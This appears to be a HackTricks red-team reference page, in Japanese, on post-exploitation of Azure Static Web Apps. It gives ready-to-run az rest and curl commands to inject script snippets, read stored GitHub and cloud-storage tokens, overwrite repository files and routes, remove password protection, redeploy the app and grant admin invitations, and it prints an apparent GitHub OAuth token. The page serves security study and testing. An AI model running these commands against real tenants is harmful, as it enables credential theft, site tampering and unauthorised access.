Az - Static Web Apps Post Exploitation

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Azure Static Web Apps

このサービスに関する詳細情報は、以下を確認してください:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

スニペットを作成することで、静的ウェブページに任意のHTMLコードを読み込ませることが可能です。これにより、攻撃者はウェブアプリ内にJSコードを注入し、資格情報やメモリニックキー(web3ウォレット内)などの機密情報を盗むことができます。

以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::

bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

設定されたサードパーティの資格情報を読み取る

App Service セクションで説明したように:

Az - App Services Privesc

次のコマンドを実行することで、現在のアカウントに設定されているサードパーティの資格情報を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。

ここにトークンを確認するためのいくつかのコマンド例があります:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

ファイルの上書き - ルート、HTML、JSの上書き...

Azureを通じてアプリを含むGithubリポジトリ内のファイルを上書きすることが可能であり、Githubトークンを使用して以下のようなリクエストを送信することで、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定できます。

攻撃者はこれを悪用して、基本的にウェブアプリの内容を変更し、悪意のあるコンテンツを提供したり(資格情報、ニーモニックキーを盗むなど)、staticwebapp.config.jsonファイルを上書きすることで特定のパスを自分のサーバーに再ルーティングしたりすることができます。

warning

攻撃者が何らかの方法でGithubリポジトリを侵害することに成功した場合、Githubから直接ファイルを上書きすることも可能であることに注意してください。

bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

この権限を持つことで、静的ウェブアプリを保護しているパスワードを変更したり、次のようなリクエストを送信することで、すべての環境の保護を解除することが可能です:

bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

この権限は、静的アプリのAPIキーデプロイメントトークンを取得することを許可します:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

次に、トークンを使用してアプリを更新するために、以下のコマンドを実行できます。このコマンドは、Github Action https://github.com/Azure/static-web-apps-deploy がどのように機能するかを確認して抽出したもので、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。

tip

アプリをデプロイするには、https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token の**swa**ツールを使用するか、以下の手順に従ってください:

  1. リポジトリをダウンロードします https://github.com/staticwebdev/react-basic (またはデプロイしたい他のリポジトリ)し、cd react-basicを実行します。
  2. デプロイしたいコードを変更します。
  3. <api-token>を変更することを忘れずに)実行してデプロイします:
bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

warning

トークンを持っていても、Deployment Authorization PolicyGithubに設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイメント方法をAPIトークンを使用するように変更するために、Microsoft.Web/staticSites/writeの権限が必要です。

Microsoft.Web/staticSites/write

この権限を持つことで、静的ウェブアプリのソースを別のGithubリポジトリに変更することが可能ですが、これはGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。

ただし、Deployment Authorization PolicyGithubに設定されている場合、新しいソースリポジトリからアプリを更新することが可能です!

Deployment Authorization PolicyがGithubに設定されていない場合、同じ権限Microsoft.Web/staticSites/writeを使用して変更できます。

bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

アプリをデプロイするための例のGithub Action:

yaml
name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

この権限を持つことで、静的ウェブアプリのAPIキーをリセットすることが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

この権限は、特定の役割を持つユーザーに対して、静的ウェブアプリ内の保護されたパスにアクセスするための招待を作成することを許可します。

ログインは、/.auth/login/github(GitHub用)や/.auth/login/aad(Entra ID用)などのパスにあります。ユーザーは次のコマンドで招待できます:

bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

デフォルトでは、同じリポジトリ内のブランチからのプルリクエストは、ステージング環境で自動的にコンパイルおよびビルドされます。これは、リポジトリに対する書き込みアクセスを持つ攻撃者によって悪用される可能性がありますが、プロダクションブランチ(通常は main)のブランチ保護を回避できない場合、ステージングURLに悪意のあるアプリのバージョンをデプロイすることができます。

ステージングURLは次の形式です: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> 例えば: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

tip

デフォルトでは、外部PRはリポジトリに少なくとも1つのPRがマージされるまでワークフローを実行しません。攻撃者はリポジトリに有効なPRを送信し、その後悪意のあるPRをリポジトリに送信してステージング環境に悪意のあるアプリをデプロイすることができます。しかし、予期しない保護があります。静的ウェブアプリにデプロイするためのデフォルトのGithub Actionは、デプロイメントトークンを含むシークレットへのアクセスが必要です(例えば secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F)。これは、外部PRがこのシークレットにアクセスできず、外部PRがワークフローを変更して任意のトークンをここに配置することができないため、この攻撃は実際には機能しません

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする